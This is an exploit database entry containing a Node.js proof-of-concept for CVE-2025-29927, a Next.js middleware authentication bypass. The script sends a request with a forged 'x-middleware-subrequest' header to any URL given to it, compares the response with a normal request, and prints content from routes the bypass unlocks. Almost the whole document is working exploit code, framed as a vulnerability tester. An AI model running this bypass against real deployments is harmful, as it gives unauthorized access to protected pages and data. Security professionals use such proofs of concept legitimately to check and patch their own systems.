# Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927) # Date: 2025-03-26 # Exploit Author: kOaDT # Vendor Homepage: https://nextjs.org/ # Software Link: https://github.com/vercel/next.js # Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4 # Tested on: Ubuntu 22.04.5 LTS # CVE: CVE-2025-29927 # PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js # POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main const http = require('http'); const https = require('https'); /** * Simple script to test for Next.js Middleware Bypass Vulnerability (CVE-2025-29927) * Usage: node exploit.js [url] * Example: node exploit.js http://localhost:3000/dashboard */ // Get URL from command line arguments or use default const targetUrl = process.argv[2] || 'http://localhost:3000/dashboard'; // Parse URL let url; try { url = new URL(targetUrl); } catch (error) { console.error(`Invalid URL: ${targetUrl}`); process.exit(1); } console.log('\n=== Next.js CVE-2025-29927 Middleware Bypass Tester ===\n'); console.log(`Target: ${targetUrl}\n`); /** * Make an HTTP/HTTPS request to the target */ function makeRequest(headers = {}) { return new Promise((resolve, reject) => { const options = { hostname: url.hostname, port: url.port || (url.protocol === 'https:' ? 443 : 80), path: url.pathname + url.search, method: 'GET', headers: headers, rejectUnauthorized: false // Allow testing sites with self-signed certificates }; const requestModule = url.protocol === 'https:' ? https : http; const req = requestModule.request(options, (res) => { let data = ''; res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, headers: res.headers, body: data, location: res.headers.location }); }); }); req.on('error', (error) => { reject(error); }); req.end(); }); } async function testVulnerability() { try { console.log('Testing vulnerability...'); // Make normal request without the bypass header console.log('Making request without bypass header...'); const normalResponse = await makeRequest({}); // Make request with the bypass header console.log('Making request with bypass header...'); const bypassResponse = await makeRequest({ 'x-middleware-subrequest': 'middleware' }); console.log(`Normal request status: ${normalResponse.statusCode}`); console.log(`Bypass request status: ${bypassResponse.statusCode}`); // Check if the route is protected (normal request doesn't return 200) // and if the bypass was successful (bypass request returns 200) if (normalResponse.statusCode !== 200 && bypassResponse.statusCode === 200) { console.log('\n⚠️ VULNERABLE'); console.log('The route is protected (normal request blocked) but accessible with the bypass header'); console.log('\nContent preview with bypass:'); console.log('----------------------------------------'); // Extract and display a small preview of the content const bodyPreview = bypassResponse.body .replace(/<[^>]*>/g, '') // Remove HTML tags .replace(/\s+/g, ' ') // Normalize whitespace .trim() .slice(0, 300); console.log(bodyPreview + (bodyPreview.length >= 300 ? '...' : '')); console.log('----------------------------------------'); } else if (normalResponse.statusCode === 200 && bypassResponse.statusCode === 200) { console.log('\n✓ NOT VULNERABLE - Public Route'); console.log('The route is accessible without authentication (public route)'); } else if (normalResponse.statusCode !== 200 && bypassResponse.statusCode !== 200) { console.log('\n✓ NOT VULNERABLE - Protected Route'); console.log('The route is protected and the bypass attempt was unsuccessful'); } else { console.log('\n⚠️ UNEXPECTED BEHAVIOR'); console.log(`Normal request: ${normalResponse.statusCode}, Bypass request: ${bypassResponse.statusCode}`); console.log('This behavior requires manual investigation'); } // Additional information for redirections if (normalResponse.location) { console.log(`Normal request redirected to: ${normalResponse.location}`); } if (bypassResponse.location) { console.log(`Bypass request redirected to: ${bypassResponse.location}`); } } catch (error) { console.error(`\nError: ${error.message}`); process.exit(1); } } // Execute the test testVulnerability();